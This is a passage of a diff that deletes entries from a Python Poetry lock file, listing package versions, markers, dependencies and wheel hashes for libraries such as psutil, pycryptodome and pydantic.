dir`." -optional = false -python-versions = ">=3.10" -groups = ["dev", "docs"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31"}, - {file = "platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda"}, -] - -[package.extras] -docs = ["furo (>=2025.9.25)", "proselint (>=0.14)", "sphinx (>=8.2.3)", "sphinx-autodoc-typehints (>=3.2)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.4.2)", "pytest-cov (>=7)", "pytest-mock (>=3.15.1)"] -type = ["mypy (>=1.18.2)"] - -[[package]] -name = "pluggy" -version = "1.6.0" -description = "plugin and hook calling mechanisms for python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, - {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, -] - -[package.extras] -dev = ["pre-commit", "tox"] -testing = ["coverage", "pytest", "pytest-benchmark"] - -[[package]] -name = "poetry-dynamic-versioning" -version = "1.10.0" -description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["dev"] -files = [ - {file = "poetry_dynamic_versioning-1.10.0-py3-none-any.whl", hash = "sha256:a573d47c77e96661a309ee2115c9c5db4c66ce78986747479187424c8c9f5093"}, - {file = "poetry_dynamic_versioning-1.10.0.tar.gz", hash = "sha256:52bf9ed57f2d60f4250a1dfe43db7b8144541df2f3ae6e712d12b43ecda71f47"}, -] - -[package.dependencies] -dunamai = ">=1.26.0,<2.0.0" -jinja2 = ">=2.11.1,<4" -tomlkit = ">=0.4" - -[package.extras] -plugin = ["poetry (>=1.2.0)"] - -[[package]] -name = "pre-commit" -version = "4.3.0" -description = "A framework for managing and maintaining multi-language pre-commit hooks." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "pre_commit-4.3.0-py2.py3-none-any.whl", hash = "sha256:2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8"}, - {file = "pre_commit-4.3.0.tar.gz", hash = "sha256:499fe450cc9d42e9d58e606262795ecb64dd05438943c62b66f6a8673da30b16"}, -] - -[package.dependencies] -cfgv = ">=2.0.0" -identify = ">=1.0.0" -nodeenv = ">=0.11.1" -pyyaml = ">=5.1" -virtualenv = ">=20.10.0" - -[[package]] -name = "pre-commit" -version = "4.5.1" -description = "A framework for managing and maintaining multi-language pre-commit hooks." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77"}, - {file = "pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61"}, -] - -[package.dependencies] -cfgv = ">=2.0.0" -identify = ">=1.0.0" -nodeenv = ">=0.11.1" -pyyaml = ">=5.1" -virtualenv = ">=20.10.0" - -[[package]] -name = "psutil" -version = "7.2.2" -description = "Cross-platform lib for process and system monitoring." -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b"}, - {file = "psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63"}, - {file = "psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312"}, - {file = "psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b"}, - {file = "psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00"}, - {file = "psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a"}, - {file = "psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf"}, - {file = "psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1"}, - {file = "psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486"}, - {file = "psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9"}, - {file = "psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8"}, - {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc"}, - {file = "psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988"}, - {file = "psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee"}, - {file = "psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372"}, -] - -[package.extras] -dev = ["abi3audit", "black", "check-manifest", "colorama ; os_name == \"nt\"", "coverage", "packaging", "psleak", "pylint", "pyperf", "pypinfo", "pyreadline3 ; os_name == \"nt\"", "pytest", "pytest-cov", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "requests", "rstcheck", "ruff", "setuptools", "sphinx", "sphinx_rtd_theme", "toml-sort", "twine", "validate-pyproject[all]", "virtualenv", "vulture", "wheel", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] -test = ["psleak", "pytest", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "setuptools", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""] - -[[package]] -name = "ptyprocess" -version = "0.7.0" -description = "Run a subprocess in a pseudo terminal" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, - {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, -] - -[[package]] -name = "puremagic" -version = "1.30" -description = "Pure python implementation of magic file detection" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, - {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, -] - -[[package]] -name = "py-cpuinfo" -version = "9.0.0" -description = "Get CPU info with pure Python" -optional = false -python-versions = "*" -groups = ["dev"] -files = [ - {file = "py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690"}, - {file = "py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5"}, -] - -[[package]] -name = "pycparser" -version = "2.23" -description = "C parser in Python" -optional = false -python-versions = ">=3.8" -groups = ["main"] -markers = "(platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\") and python_version == \"3.9\" and implementation_name != \"PyPy\"" -files = [ - {file = "pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934"}, - {file = "pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2"}, -] - -[[package]] -name = "pycparser" -version = "3.0" -description = "C parser in Python" -optional = false -python-versions = ">=3.10" -groups = ["main"] -markers = "python_version >= \"3.10\" and (platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\") and implementation_name != \"PyPy\"" -files = [ - {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, - {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, -] - -[[package]] -name = "pycryptodome" -version = "3.23.0" -description = "Cryptographic library for Python" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["main"] -files = [ - {file = "pycryptodome-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a176b79c49af27d7f6c12e4b178b0824626f40a7b9fed08f712291b6d54bf566"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:573a0b3017e06f2cffd27d92ef22e46aa3be87a2d317a5abf7cc0e84e321bd75"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:63dad881b99ca653302b2c7191998dd677226222a3f2ea79999aa51ce695f720"}, - {file = "pycryptodome-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:b34e8e11d97889df57166eda1e1ddd7676da5fcd4d71a0062a760e75060514b4"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7ac1080a8da569bde76c0a104589c4f414b8ba296c0b3738cf39a466a9fb1818"}, - {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6fe8258e2039eceb74dfec66b3672552b6b7d2c235b2dfecc05d16b8921649a8"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625"}, - {file = "pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39"}, - {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27"}, - {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575"}, - {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f"}, - {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2"}, - {file = "pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c"}, - {file = "pycryptodome-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:350ebc1eba1da729b35ab7627a833a1a355ee4e852d8ba0447fafe7b14504d56"}, - {file = "pycryptodome-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:93837e379a3e5fd2bb00302a47aee9fdf7940d83595be3915752c74033d17ca7"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353"}, - {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:865d83c906b0fc6a59b510deceee656b6bc1c4fa0d82176e2b77e97a420a996a"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89d4d56153efc4d81defe8b65fd0821ef8b2d5ddf8ed19df31ba2f00872b8002"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3f2d0aaf8080bda0587d58fc9fe4766e012441e2eed4269a77de6aea981c8be"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64093fc334c1eccfd3933c134c4457c34eaca235eeae49d69449dc4728079339"}, - {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ce64e84a962b63a47a592690bdc16a7eaf709d2c2697ababf24a0def566899a6"}, - {file = "pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef"}, -] - -[[package]] -name = "pydantic" -version = "2.12.5" -description = "Data validation using Python type hints" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d"}, - {file = "pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49"}, -] - -[package.dependencies] -annotated-types = ">=0.6.0" -pydantic-core = "2.41.5" -typing-extensions = ">=4.14.1" -typing-inspection = ">=0.4.2" - -[package.extras] -email = ["email-validator (>=2.0.0)"] -timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] - -[[package]] -name = "pydantic-core" -version = "2.41.5" -description = "Core functionality for Pydantic validation and serialization" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146"}, - {file = "pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a"}, - {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c"}, - {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2"}, - {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556"}, - {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49"}, - {file = "pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba"}, - {file = "pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9"}, - {file = "pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6"}, - {file = "pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b"}, - {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b"}, - {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284"}, - {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594"}, - {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e"}, - {file = "pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b"}, - {file = "pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe"}, - {file = "pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f"}, - {file = "pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7"}, - {file = "pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c"}, - {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5"}, - {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c"}, - {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294"}, - {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1"}, - {file = "pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d"}, - {file = "pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815"}, - {file = "pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3"}, - {file = "pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9"}, - {file = "pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2"}, - {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 